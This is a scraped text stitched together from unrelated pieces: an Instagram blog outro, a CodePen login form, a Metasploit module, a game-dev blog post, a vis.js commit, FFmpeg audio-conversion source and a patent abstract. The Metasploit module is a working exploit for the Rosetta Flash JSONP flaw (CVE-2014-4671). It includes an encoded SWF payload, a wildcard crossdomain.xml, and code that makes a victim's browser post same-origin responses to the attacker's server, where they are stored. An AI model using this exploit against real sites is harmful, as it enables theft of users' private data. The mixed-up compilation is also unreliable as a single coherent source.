of the art of looping videos on Instagram Stories. In the end With this, we have decided to wrap up our discussion. So, did you like how we addressed the blog?  We have mentioned four methods for you to read and follow along! Make sure to drop us a comment if you want us to clarify anything else. If necessary, we will address them in the comments to make a separate blog! Until then, perfect your story-looping skills on Instagram.  Leave a Reply Your email address will not be published. Required fields are marked *
__label__pos
0.945121
<div class="login"> <div class="photo"></div> <p class="name hidden" id="name">Hans Engebretsen</p> <div class="username-wrap"><input type="username" class="username" placeholder="Type name & hit enter" id="username-input" /></div> <div class="pw-box"> <span class="flap"> <div class="inner"></div> <div class="spine"></div> <div class="outer"></div> </span> <span class="shadow"></span> <input type="password" class="password" placeholder="Password" /> </div> </div> <!--Inspiration taken from both Steven Shobert: https://codepen.io/stevenschobert/pen/kpcBK and of course Bennet Feely: https://codepen.io/bennettfeely/pen/ErFGv--> @import "compass/css3"; @import url('https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css'); .gradient { @include background(radial-gradient(#8dddff, #0566a9)); background-size: 360px 600px; background-position: center -90%; } .preloader { animation:none; transition:none; } .login { display: inline-block; width: 180px; height: 300px; padding: 30px 25px; margin: -180px -115px; position: absolute; top: 50%; left: 50%; // text-align: left; font-family: "Lucida Grande", "Lucida Sans Unicode", "Lucida Sans", Geneva, Verdana, sans-serif; border: 1px solid #5c5c5c; border-radius: 5px; box-shadow:rgba(0, 0, 0, 0.25) 0 2px 4px 1px, rgba(0, 0, 0, 0.25) 0 2px 55px 3px; // @extend .gradient; &:before { content: ""; width: 100%; height:.1em; position: absolute; top: 0px; left: 0; // background: radial-gradient(ellipse at center, rgba(255, 255, 255, 0.97) 0%, rgba(255, 255, 255, 0.16) 70%); background-size: 100% 150%; background-position: center center; } } .login .photo { width: 88px; height: 88px; overflow: hidden; position: relative; margin: 0 auto; margin-top:10%; border-radius: 50%; // border: 2px solid rgba(black, 0.7); box-shadow: 0 -2px 0px 2px rgba(white, 0.15), 0 2px 2px 2px rgba(black, 0.15), 0 -4px 20px 0px rgba(white, 0.4), 0 0px 140px 0px rgba(0, 120, 120, 0.8), 0 -45px 90px 0px rgba(white, 0.3), 0 4px 39px 0px rgba(black, 0.4); &:before { content: ''; width: 90px; height: 90px; background: url("https://s3-us-west-2.amazonaws.com/s.cdpn.io/18320/profile/profile-512_3.jpg"); background-size: 100%; position: absolute; border-radius: 50%; } } .login .name { width: 100%; line-height: 1; // text-align: center; font-size: 0.89em; color: white; text-shadow: 1px 1px 1px rgba(black, 0.3); transition:all 300ms ease; position:absolute; left:0; margin-top:34px; } input { box-sizing: border-box; width: 100%; margin-top: 15px; padding: 5px 2px; font-size: 0.8em; border: 1px solid rgba(0, 0, 0, 0.3); border-radius: 3px; @include box-shadow(rgba(0, 0, 0, 0.15) 0 1px 2px 0 inset, rgba(0, 0, 100, 0.3) 0 1px 0 0); &:focus { outline: 0; border: 1px solid #77a7c0; @include box-shadow(hsla(206%, 80%, 40%, 0.5) 0 0 3px 1px, hsla(206%, 80%, 40%, 0.5) 0 0 2px 1px inset); } &::input-placeholder { color: rgba(20, 20, 20, 0.5); } } .username-wrap { position:relative; } .username-wrap:after { content: "\f18e"; display:inline-block; font-smoothing: antialiased; font-family: 'FontAwesome'; position:absolute; right:5px; top:5px; color:rgba(#283335,.4); font-size:1.25em; } .username { margin-bottom: 10px; margin-top:30px; transition:all 300ms ease; display:block; opacity:1; } .hidden { opacity:0; transition:all 300ms ease; visibility:hidden; } .inner, .outer, .spine, .shadow { position: absolute; width: 100%; } .inner:after, .outer:after { content: '\f023'; top:33%; left: 42%; font-size:1em; line-height:1.7em; padding:.125em; width:2em; height:2em; border-radius: 50%; border:1px solid white; position:absolute; font-smoothing: antialiased; font-family: 'FontAwesome'; box-sizing:border-box; } .inner:after { content: "\f09c"; } .inner { background-color: #283335; text-shadow: 0 -2px 4px rgba(0, 0, 0, 0.2); height: 100%; background-image: linear-gradient(top, transparent 0%, rgba(0, 0, 0, 0.2) 100%); } .spine { top: .25em; background: rgb(40, 45, 45); height: .25em; transform: rotateX(90deg); transform-origin: center top; } .outer { @extend .gradient; height:100%; background-position: center -117%; transform: translateZ(0.25rem); text-shadow: 0 2px 4px rgba(0, 0, 0, 0.2); } .pw-box { height: 80px; width: 228px; background: rba(0, 0, 0, 0.9); position: absolute; left: 1px; padding: 10px; transition: all .55s ease; box-shadow: inset 0px -60px 70px rgba(black, 0.9); .pw-active & { background: rgba(black, 0.2); box-shadow: inset 0px 5px 10px rgba(black, 0.2); } box-sizing: border-box; perspective: 320; .flap { position: absolute; color: white; text-align: center; pointer-events: none; z-index: 100; background-color: rgba(red, 0.3); width: 100%; height: 100%; position: absolute; display: block; top: 0; left: 0; transition: all 0.6s cubic-bezier(0.2, 0.7, 0.1, 1.1); transform-origin: center bottom; transform-style: preserve-3d; } .pw-active & .flap { transform: rotateX(-110deg); } } View Compiled $( document ).ready(function() { var userInput = $('#username-input'), userWrap = $('.username-wrap'), user = $('#name'); userInput.keyup(function (event) { if (event.which == 13) { var name = $(this).val(); user.text(name); userInput.addClass('hidden'); userWrap.addClass('hidden'); user.removeClass('hidden'); user.parent().addClass('pw-active'); $('.password').placeholder(name); $('.password').focus(); return false; } }); user.click(function (event) { user.addClass('hidden'); user.parent().removeClass('pw-active'); userInput.removeClass('hidden'); userWrap.removeClass('hidden'); }); }); External CSS This Pen doesn't use any external CSS resources. External JavaScript 1. //cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
__label__pos
0.937913
########################### # Rosetta JSONP GET/POST Response Disclosure ########################### ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'open-uri' require 'uri' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'Flash "Rosetta" JSONP GET/POST Response Disclosure', 'Description' => %q{ A website that serves a JSONP endpoint that accepts a custom alphanumeric callback of 1200 chars can be abused to serve an encoded swf payload that steals the contents of a same-domain URL. Flash < 14.0.0.145 is required. This module spins up a web server that, upon navigation from a user, attempts to abuse the specified JSONP endpoint URLs by stealing the response from GET requests to STEAL_URLS. }, 'License' => MSF_LICENSE, 'Author' => [ 'Michele Spagnuolo', # discovery, wrote rosetta encoder, disclosure 'joev' # msf module ], 'References' => [ ['CVE', '2014-4671'], ['URL', 'http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/'], ['URL', 'https://github.com/mikispag/rosettaflash'], ['URL', 'http://quaxio.com/jsonp_handcrafted_flash_files/'] ], 'DisclosureDate' => 'Jul 8 2014', 'Actions' => [ [ 'WebServer' ] ], 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer')) register_options( [ OptString.new('CALLBACK', [ true, 'The name of the callback paramater', 'callback' ]), OptString.new('JSONP_URL', [ true, 'The URL of the vulnerable JSONP endpoint', '' ]), OptBool.new('CHECK', [ true, 'Check first that the JSONP endpoint works', true ]), OptString.new('STEAL_URLS', [ true, 'A comma-separated list of URLs to steal', '' ]), OptString.new('URIPATH', [ true, 'The URI path to serve the exploit under', '/' ]) ], self.class) end def run if datastore['CHECK'] && check == Msf::Exploit::CheckCode::Safe raise "JSONP endpoint does not allow sufficiently long callback names." end unless datastore['URIPATH'] == '/' raise "URIPATH must be set to '/' to intercept crossdomain.xml request." end exploit end def check test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length) io = open(exploit_url(test_string)) if io.read.start_with? test_string Msf::Exploit::CheckCode::Vulnerable else Msf::Exploit::CheckCode::Safe end end def on_request_uri(cli, request) vprint_status("Request '#{request.method} #{request.uri}'") if request.uri.end_with? 'crossdomain.xml' print_status "Responding to crossdomain request.." send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy') elsif request.uri.end_with? '.log' body = URI.decode(request.body) file = store_loot( "html", "text/plain", cli.peerhost, body, "flash_jsonp_rosetta", "Exfiltrated HTTP response" ) url = body.lines.first.gsub(/.*?=/,'') print_good "#{body.length} bytes captured from target #{cli.peerhost} on URL:\n#{url}" print_good "Stored in #{file}" else print_status "Serving exploit HTML" send_response_html(cli, exploit_html) end end def exploit_url(data_payload) delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end "#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}" end def exploit_html ex_url = URI.escape(get_uri.chomp('/')+'/'+Rex::Text.rand_text_alphanumeric(6+rand(20))+'.log') %Q| <!doctype html> <html> <body> <object type="application/x-shockwave-flash" data="#{exploit_url(encoded_swf)}" width=500 height=500> <param name="FlashVars" value="url=#{URI.escape datastore['STEAL_URLS']}&exfiltrate=#{ex_url}" /> </object> </body> </html> | end # Based off of http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/ # # Alphanumeric Flash swf applet that steals URLs. Compiled from the following code: # # class X { # static var app : X; # # function getURL(url:String) { # var r:LoadVars = new LoadVars(); # r.onData = function(src:String) { # if (_root.exfiltrate) { # var w:LoadVars = new LoadVars(); # w.x = url+"\n"+src; # w.sendAndLoad(_root.exfiltrate, w, "POST"); # } # } # r.load(url, r, "GET"); # } # # function X(mc) { # if (_root.url) { # var urls:Array = _root.url.split(","); # for (var i in urls) { # getURL(urls[i]); # } # } # } # # // entry point # static function main(mc) { # app = new X(mc); # } # } # # # Compiling the .as using mtasc and swftool: # # > mtasc.exe -swf out.swf -main -header 800:600:20 exploit.as # $ swfcombine -d out.swf -o out-uncompressed.swf # $ rosettaflash --input out-uncompressed.swf --output out-ascii.swf # def encoded_swf "CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0s" \ "sG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnn" \ "nnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333sDT133333333WEDDT13s03WVqefXAx" \ "oookD8f8888T0CiudIbEAt33swwWpt03sDGDDDwwwtttttwwwGDt33333www033333Gf" \ "BDRhHHUccUSsgSkKoe5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7mNqdIbe1" \ "WUUfV133sUUpDDUUDDUUDTUEDTEDUTUE0GUUD133333333sUEe1sfzA87TLx888znN8t" \ "8F8fV6v0CiudIbEAtwwWDt03sDG0sDtDDDtwwtGwpttGwwt33333333w0333GDfBDFzA" \ "HZYqqEHeYAHtHyIAnEHnHNVEJRlHIYqEqEmIVHlqzfjzYyHqQLzEzHVMvnAEYzEVHMHT" \ "HbB2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDtDtDDtpDGpD" \ "DG0sDtwtwDDGDGtGpDDGwG33sptDDDtGDD33333s03sdFPZHyVQflQfrqzfHRBZHAqzf" \ "HaznQHzIIHljjVEJYqIbAzvyHwXHDHtTToXHGhwXHDhtwXHDHWdHHhHxLHXaFHNHwXHD" \ "Xt7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333wwE0GDtwpDtD" \ "DGDGtG033sDDwGpDDGtDt033sDDt3333g3sFPXHLxcZWXHKHGlHLDthHHHLXAGXHLxcG" \ "XHLdSkhHxvGXHDxskhHHGhHXCWXHEHGDHLTDHmGDHDxLTAcGlHthHHHDhLtSvgXH7D0U" \ "p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeV133333333333333333gF03" \ "sDeqUfzAoE80CiudIbEAtwwW3sD3w0sDt0wwGDDGpDtptDDtGwwGpDDtDDDGDDD33333" \ "sG033gFPHHmODHDHttMWhHhVODHDhtTwBHHhHxUHHksSHoHOTHTHHHHtLuWhHXVODHDX" \ "tlwBHHhHDUHXKscHCHOXHtXnOXH4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn" \ "7CiudIbEAtwwuwG333spDtDDGDDDt0333st0GGDDt33333www03sdFPlWJoXHgHOTHTH" \ "HHHtLGwhHxfOdHDx4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtu" \ "wttD333swG0wDDDw03333sDt33333sG03sDDdFPtdXvwhHdLGwhHxhGWwDHdlxXdhvwh" \ "HdTg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333swwE03GDtD" \ "wG0wpDG03sGDDD33333sw033gFPlHtxHHHDxLrkvKwTHLJDXLxAwlHtxHHHDXLjkvKwD" \ "HDHLZWBHHhHxmHXgGHVHwXHLHA7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7" \ "CiudIbEAtsWt3wGww03GDttwtDDtDtwDwGDwGDttDDDwDtwwtG0GDtGpDDt33333www0" \ "33GdFPlHLjDXthHHHLHqeeobHthHHHXDhtxHHHLZafHQxQHHHOvHDHyMIuiCyIYEHWSs" \ "gHmHKcskHoXHLHwhHHfoXHLhnotHthHHHLXnoXHLxUfH1D0Up0IZUnnnnnnnnnnnnnnn" \ "nnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooo04Cx9" end def crossdomain_xml %Q| <?xml version="1.0" ?> <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy> | end def rhost URI.parse(datastore["JSONP_URL"]).host end end ########################### # Iranian Exploit DataBase = http://IeDb.Ir [2014-07-15] ###########################
__label__pos
0.51846
Bedroom Coder Rebooted In which a lapsed developer of 16-bit freeware attempts to rekindle his game dev 'skillz' after half a lifetime away. Backstory here. Dec 14 The Mysterious Case of the Phantom Function Aaaaaargh. This is doing my head in. Perhaps unwisely, rather than implementing any more basic stuff just yet I decided to do something a bit more interesting: a function that will “drop” a word or phrase onto the screen one letter at a time, using SFML’s scaling function so that the letters appear to zoom in as if they were falling onto the surface of the screen from in front of it. (If that makes any sense.) The function, which I’m calling zoomstring, will accept a nine-letter string as input so you can just call it as, e.g. zoomstring (“GET READY”); and the phrase “GET READY” will drop into the middle of the screen, letter by letter, and maybe wait a second or two before continuing with the main game loop. So I worked out everything that zoomstring would have to do (transpose the contents of the string into an array of SFML’s sf::String objects, each holding one letter of the text. Calculate where each letter should be on the screen and how scaled up they need to be, and a loop to gradually scale them down and display them on screen at each iteration.) Much to my surprise, compiling this produced no errors. However, when I added a call to the function into my code (just before each new point is played for) a weird thing happened: nothing at all. Again, my program didn’t give me any errors but the function call might as well not have been there. Everything proceeded exactly as before, with no sign of any text being dropped into the screen. Was it even really being called? I added an extra line to the start of the function to spit a message out on the console every time zoomstring was called. Sure enough, next time I ran the game my console contained several lines of “calling zoomstring”. But that was the only clue that the function was there. No onscreen text, no errors. Thoroughly bamboozled, I’m calling it a night. 1. bedroomcoder posted this
__label__pos
0.567646
Browse Source fire emit every time the network stabilizes, updated history v3_develop Alex de Mulder 10 years ago parent commit 043987db15 4 changed files with 3983 additions and 3952 deletions 1. +6 -0   HISTORY.md 2. +3969 -3950   dist/vis.js 3. +2 -1   docs/network.html 4. +6 -1   lib/network/Network.js + 6 - 0 HISTORY.md View File @ -20,6 +20,12 @@ http://visjs.org - Added multiple types of smoothCurve drawing for greatly improved performance. - Option for inherited edge colors from connected nodes. - Option to disable the drawing of nodes or edges on drag. - Fixed support nodes not being cleaned up if edges are removed. - Improved edge selection detection for long smooth curves. - Fixed dot radius bug. - Updated max velocity of nodes to three times it's original value. - Made "stabilized" event fire every time the network stabilizes. ## 2014-07-07, version 3.0.0 + 3969 - 3950 dist/vis.js File diff suppressed because it is too large View File + 2 - 1 docs/network.html View File @ -2417,7 +2417,8 @@ network.off('select', onSelect); </tr> <tr> <td>stabilized</td> <td>Fired when the network has been stabilized after initialization. This event can be used to trigger the .storePosition() function after stabilization.</td> <td>Fired when the network has been stabilized. This event can be used to trigger the .storePosition() function after stabilization. When the network in initialized, the parameter iterations will be the amount of iterations it took to stabilize. After initialization, this parameter is null.</td> <td> <ul> <li><code>iterations</code>: number of iterations used to stabilize</li> + 6 - 1 lib/network/Network.js View File @ -2088,7 +2088,12 @@ Network.prototype._discreteStepNodes = function() { this.moving = true; } else { this.moving = this._isMoving(vminCorrected) || this.constants.configurePhysics; this.moving = this._isMoving(vminCorrected); if (this.moving == false) { this.emit("stabilized",{iterations:null}); } this.moving = this.moving || this.configurePhysics; } } }; Loading… Cancel Save
__label__pos
0.887685
FFmpeg  All Data Structures Namespaces Files Functions Variables Typedefs Enumerations Enumerator Macros Groups Pages swresample_x86.c Go to the documentation of this file. 1 /* 2  * Copyright (C) 2012 Michael Niedermayer ([email protected]) 3  * 4  * This file is part of libswresample 5  * 6  * libswresample is free software; you can redistribute it and/or 7  * modify it under the terms of the GNU Lesser General Public 8  * License as published by the Free Software Foundation; either 9  * version 2.1 of the License, or (at your option) any later version. 10  * 11  * libswresample is distributed in the hope that it will be useful, 12  * but WITHOUT ANY WARRANTY; without even the implied warranty of 13  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14  * Lesser General Public License for more details. 15  * 16  * You should have received a copy of the GNU Lesser General Public 17  * License along with libswresample; if not, write to the Free Software 18  * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19  */ 20  23  24 #define PROTO(pre, in, out, cap) void ff ## pre ## _ ##in## _to_ ##out## _a_ ##cap(uint8_t **dst, const uint8_t **src, int len); 25 #define PROTO2(pre, out, cap) PROTO(pre, int16, out, cap) PROTO(pre, int32, out, cap) PROTO(pre, float, out, cap) 26 #define PROTO3(pre, cap) PROTO2(pre, int16, cap) PROTO2(pre, int32, cap) PROTO2(pre, float, cap) 27 #define PROTO4(pre) PROTO3(pre, mmx) PROTO3(pre, sse) PROTO3(pre, sse2) PROTO3(pre, ssse3) PROTO3(pre, sse4) PROTO3(pre, avx) 28 PROTO4() 29 PROTO4(_pack_2ch) 30 PROTO4(_pack_6ch) 31 PROTO4(_unpack_2ch) 32  34  enum AVSampleFormat out_fmt, 35  enum AVSampleFormat in_fmt, 36  int channels){ 37  int mm_flags = av_get_cpu_flags(); 38  39  ac->simd_f= NULL; 40  41 //FIXME add memcpy case 42  43 #define MULTI_CAPS_FUNC(flag, cap) \ 44  if (mm_flags & flag) {\ 45  if( out_fmt == AV_SAMPLE_FMT_S32 && in_fmt == AV_SAMPLE_FMT_S16 || out_fmt == AV_SAMPLE_FMT_S32P && in_fmt == AV_SAMPLE_FMT_S16P)\ 46  ac->simd_f = ff_int16_to_int32_a_ ## cap;\ 47  if( out_fmt == AV_SAMPLE_FMT_S16 && in_fmt == AV_SAMPLE_FMT_S32 || out_fmt == AV_SAMPLE_FMT_S16P && in_fmt == AV_SAMPLE_FMT_S32P)\ 48  ac->simd_f = ff_int32_to_int16_a_ ## cap;\ 49  } 50  53  54  if(mm_flags & AV_CPU_FLAG_MMX) { 55  if(channels == 6) { 56  if( out_fmt == AV_SAMPLE_FMT_FLT && in_fmt == AV_SAMPLE_FMT_FLTP || out_fmt == AV_SAMPLE_FMT_S32 && in_fmt == AV_SAMPLE_FMT_S32P) 57  ac->simd_f = ff_pack_6ch_float_to_float_a_mmx; 58  } 59  } 60  61  if(mm_flags & AV_CPU_FLAG_SSE2) { 62  if( out_fmt == AV_SAMPLE_FMT_FLT && in_fmt == AV_SAMPLE_FMT_S32 || out_fmt == AV_SAMPLE_FMT_FLTP && in_fmt == AV_SAMPLE_FMT_S32P) 63  ac->simd_f = ff_int32_to_float_a_sse2; 64  if( out_fmt == AV_SAMPLE_FMT_FLT && in_fmt == AV_SAMPLE_FMT_S16 || out_fmt == AV_SAMPLE_FMT_FLTP && in_fmt == AV_SAMPLE_FMT_S16P) 65  ac->simd_f = ff_int16_to_float_a_sse2; 66  if( out_fmt == AV_SAMPLE_FMT_S32 && in_fmt == AV_SAMPLE_FMT_FLT || out_fmt == AV_SAMPLE_FMT_S32P && in_fmt == AV_SAMPLE_FMT_FLTP) 67  ac->simd_f = ff_float_to_int32_a_sse2; 68  if( out_fmt == AV_SAMPLE_FMT_S16 && in_fmt == AV_SAMPLE_FMT_FLT || out_fmt == AV_SAMPLE_FMT_S16P && in_fmt == AV_SAMPLE_FMT_FLTP) 69  ac->simd_f = ff_float_to_int16_a_sse2; 70  71  if(channels == 2) { 72  if( out_fmt == AV_SAMPLE_FMT_FLT && in_fmt == AV_SAMPLE_FMT_FLTP || out_fmt == AV_SAMPLE_FMT_S32 && in_fmt == AV_SAMPLE_FMT_S32P) 73  ac->simd_f = ff_pack_2ch_int32_to_int32_a_sse2; 74  if( out_fmt == AV_SAMPLE_FMT_S16 && in_fmt == AV_SAMPLE_FMT_S16P) 75  ac->simd_f = ff_pack_2ch_int16_to_int16_a_sse2; 76  if( out_fmt == AV_SAMPLE_FMT_S32 && in_fmt == AV_SAMPLE_FMT_S16P) 77  ac->simd_f = ff_pack_2ch_int16_to_int32_a_sse2; 78  if( out_fmt == AV_SAMPLE_FMT_S16 && in_fmt == AV_SAMPLE_FMT_S32P) 79  ac->simd_f = ff_pack_2ch_int32_to_int16_a_sse2; 80  81  if( out_fmt == AV_SAMPLE_FMT_FLTP && in_fmt == AV_SAMPLE_FMT_FLT || out_fmt == AV_SAMPLE_FMT_S32P && in_fmt == AV_SAMPLE_FMT_S32) 82  ac->simd_f = ff_unpack_2ch_int32_to_int32_a_sse2; 83  if( out_fmt == AV_SAMPLE_FMT_S16P && in_fmt == AV_SAMPLE_FMT_S16) 84  ac->simd_f = ff_unpack_2ch_int16_to_int16_a_sse2; 85  if( out_fmt == AV_SAMPLE_FMT_S32P && in_fmt == AV_SAMPLE_FMT_S16) 86  ac->simd_f = ff_unpack_2ch_int16_to_int32_a_sse2; 87  if( out_fmt == AV_SAMPLE_FMT_S16P && in_fmt == AV_SAMPLE_FMT_S32) 88  ac->simd_f = ff_unpack_2ch_int32_to_int16_a_sse2; 89  90  if( out_fmt == AV_SAMPLE_FMT_FLT && in_fmt == AV_SAMPLE_FMT_S32P) 91  ac->simd_f = ff_pack_2ch_int32_to_float_a_sse2; 92  if( out_fmt == AV_SAMPLE_FMT_S32 && in_fmt == AV_SAMPLE_FMT_FLTP) 93  ac->simd_f = ff_pack_2ch_float_to_int32_a_sse2; 94  if( out_fmt == AV_SAMPLE_FMT_FLT && in_fmt == AV_SAMPLE_FMT_S16P) 95  ac->simd_f = ff_pack_2ch_int16_to_float_a_sse2; 96  if( out_fmt == AV_SAMPLE_FMT_S16 && in_fmt == AV_SAMPLE_FMT_FLTP) 97  ac->simd_f = ff_pack_2ch_float_to_int16_a_sse2; 98  if( out_fmt == AV_SAMPLE_FMT_FLTP && in_fmt == AV_SAMPLE_FMT_S32) 99  ac->simd_f = ff_unpack_2ch_int32_to_float_a_sse2; 100  if( out_fmt == AV_SAMPLE_FMT_S32P && in_fmt == AV_SAMPLE_FMT_FLT) 101  ac->simd_f = ff_unpack_2ch_float_to_int32_a_sse2; 102  if( out_fmt == AV_SAMPLE_FMT_FLTP && in_fmt == AV_SAMPLE_FMT_S16) 103  ac->simd_f = ff_unpack_2ch_int16_to_float_a_sse2; 104  if( out_fmt == AV_SAMPLE_FMT_S16P && in_fmt == AV_SAMPLE_FMT_FLT) 105  ac->simd_f = ff_unpack_2ch_float_to_int16_a_sse2; 106  } 107  } 108  if(mm_flags & AV_CPU_FLAG_SSSE3) { 109  if(channels == 2) { 110  if( out_fmt == AV_SAMPLE_FMT_S16P && in_fmt == AV_SAMPLE_FMT_S16) 111  ac->simd_f = ff_unpack_2ch_int16_to_int16_a_ssse3; 112  if( out_fmt == AV_SAMPLE_FMT_S32P && in_fmt == AV_SAMPLE_FMT_S16) 113  ac->simd_f = ff_unpack_2ch_int16_to_int32_a_ssse3; 114  if( out_fmt == AV_SAMPLE_FMT_FLTP && in_fmt == AV_SAMPLE_FMT_S16) 115  ac->simd_f = ff_unpack_2ch_int16_to_float_a_ssse3; 116  } 117  } 118  if(mm_flags & AV_CPU_FLAG_SSE4) { 119  if(channels == 6) { 120  if( out_fmt == AV_SAMPLE_FMT_FLT && in_fmt == AV_SAMPLE_FMT_FLTP || out_fmt == AV_SAMPLE_FMT_S32 && in_fmt == AV_SAMPLE_FMT_S32P) 121  ac->simd_f = ff_pack_6ch_float_to_float_a_sse4; 122  if( out_fmt == AV_SAMPLE_FMT_FLT && in_fmt == AV_SAMPLE_FMT_S32P) 123  ac->simd_f = ff_pack_6ch_int32_to_float_a_sse4; 124  if( out_fmt == AV_SAMPLE_FMT_S32 && in_fmt == AV_SAMPLE_FMT_FLTP) 125  ac->simd_f = ff_pack_6ch_float_to_int32_a_sse4; 126  } 127  } 128  if(HAVE_AVX_EXTERNAL && mm_flags & AV_CPU_FLAG_AVX) { 129  if( out_fmt == AV_SAMPLE_FMT_FLT && in_fmt == AV_SAMPLE_FMT_S32 || out_fmt == AV_SAMPLE_FMT_FLTP && in_fmt == AV_SAMPLE_FMT_S32P) 130  ac->simd_f = ff_int32_to_float_a_avx; 131  if(channels == 6) { 132  if( out_fmt == AV_SAMPLE_FMT_FLT && in_fmt == AV_SAMPLE_FMT_FLTP || out_fmt == AV_SAMPLE_FMT_S32 && in_fmt == AV_SAMPLE_FMT_S32P) 133  ac->simd_f = ff_pack_6ch_float_to_float_a_avx; 134  if( out_fmt == AV_SAMPLE_FMT_FLT && in_fmt == AV_SAMPLE_FMT_S32P) 135  ac->simd_f = ff_pack_6ch_int32_to_float_a_avx; 136  if( out_fmt == AV_SAMPLE_FMT_S32 && in_fmt == AV_SAMPLE_FMT_FLTP) 137  ac->simd_f = ff_pack_6ch_float_to_int32_a_avx; 138  } 139  } 140 } 141  142 #define D(type, simd) \ 143 mix_1_1_func_type ff_mix_1_1_a_## type ## _ ## simd;\ 144 mix_2_1_func_type ff_mix_2_1_a_## type ## _ ## simd; 145  146 D(float, sse) 147 D(float, avx) 148 D(int16, mmx) 149 D(int16, sse2) 150  151  153  int mm_flags = av_get_cpu_flags(); 154  int nb_in = av_get_channel_layout_nb_channels(s->in_ch_layout); 155  int nb_out = av_get_channel_layout_nb_channels(s->out_ch_layout); 156  int num = nb_in * nb_out; 157  int i,j; 158  159  s->mix_1_1_simd = NULL; 160  s->mix_2_1_simd = NULL; 161  162  if (s->midbuf.fmt == AV_SAMPLE_FMT_S16P){ 163  if(mm_flags & AV_CPU_FLAG_MMX) { 164  s->mix_1_1_simd = ff_mix_1_1_a_int16_mmx; 165  s->mix_2_1_simd = ff_mix_2_1_a_int16_mmx; 166  } 167  if(mm_flags & AV_CPU_FLAG_SSE2) { 168  s->mix_1_1_simd = ff_mix_1_1_a_int16_sse2; 169  s->mix_2_1_simd = ff_mix_2_1_a_int16_sse2; 170  } 171  s->native_simd_matrix = av_mallocz(2 * num * sizeof(int16_t)); 172  s->native_simd_one = av_mallocz(2 * sizeof(int16_t)); 173  for(i=0; i<nb_out; i++){ 174  int sh = 0; 175  for(j=0; j<nb_in; j++) 176  sh = FFMAX(sh, FFABS(((int*)s->native_matrix)[i * nb_in + j])); 177  sh = FFMAX(av_log2(sh) - 14, 0); 178  for(j=0; j<nb_in; j++) { 179  ((int16_t*)s->native_simd_matrix)[2*(i * nb_in + j)+1] = 15 - sh; 180  ((int16_t*)s->native_simd_matrix)[2*(i * nb_in + j)] = 181  ((((int*)s->native_matrix)[i * nb_in + j]) + (1<<sh>>1)) >> sh; 182  } 183  } 184  ((int16_t*)s->native_simd_one)[1] = 14; 185  ((int16_t*)s->native_simd_one)[0] = 16384; 186  } else if(s->midbuf.fmt == AV_SAMPLE_FMT_FLTP){ 187  if(mm_flags & AV_CPU_FLAG_SSE) { 188  s->mix_1_1_simd = ff_mix_1_1_a_float_sse; 189  s->mix_2_1_simd = ff_mix_2_1_a_float_sse; 190  } 191  if(HAVE_AVX_EXTERNAL && mm_flags & AV_CPU_FLAG_AVX) { 192  s->mix_1_1_simd = ff_mix_1_1_a_float_avx; 193  s->mix_2_1_simd = ff_mix_2_1_a_float_avx; 194  } 195  s->native_simd_matrix = av_mallocz(num * sizeof(float)); 196  memcpy(s->native_simd_matrix, s->native_matrix, num * sizeof(float)); 197  s->native_simd_one = av_mallocz(sizeof(float)); 198  memcpy(s->native_simd_one, s->native_one, sizeof(float)); 199  } 200 }
__label__pos
0.977957
Search Images Maps Play YouTube News Gmail Drive More » Sign in Screen reader users: click this link for accessible mode. Accessible mode has the same essential features but works better with your reader. Patents 1. Advanced Patent Search Publication numberUS5832268 A Publication typeGrant Application numberUS 08/569,521 Publication dateNov 3, 1998 Filing dateDec 8, 1995 Priority dateAug 4, 1993 Fee statusLapsed Publication number08569521, 569521, US 5832268 A, US 5832268A, US-A-5832268, US5832268 A, US5832268A InventorsJames B. Anderson, Francis L. Fitzpatrick, Charles B. Harvey, Jr., Adrienne Tin, James R. Wason Original AssigneeAnderson; James B., Fitzpatrick; Francis L., Harvey, Jr.; Charles B., Tin; Adrienne, Wason; James R. Export CitationBiBTeX, EndNote, RefMan External Links: USPTO, USPTO Assignment, Espacenet System and method for supporting complex objects in an object oriented computing environment US 5832268 A Abstract A Complex Object class is provided for grouping hierarchically unrelated objects, i.e. objects which are unrelated to each other as parent and child objects, into Complex Objects in an object oriented computing environment. Each Complex Object includes a Complex Object Member frame, containing pointers to associated hierarchically unrelated objects, and Complex Object methods for performing actions on the hierarchically unrelated objects as a group. Accordingly, an object manager can send action messages to the Complex Objects to perform actions on the associated hierarchically unrelated objects using the associated Complex Object methods. As a result, customized programming for defining and utilizing Complex Objects is greatly reduced. Images(17) Previous page Next page Claims(13) That which is claimed: 1. An object oriented computing system in an object oriented computing environment comprising: a computing platform; a plurality of objects residing on said computing platform, each including an object frame containing data attributes and at least one 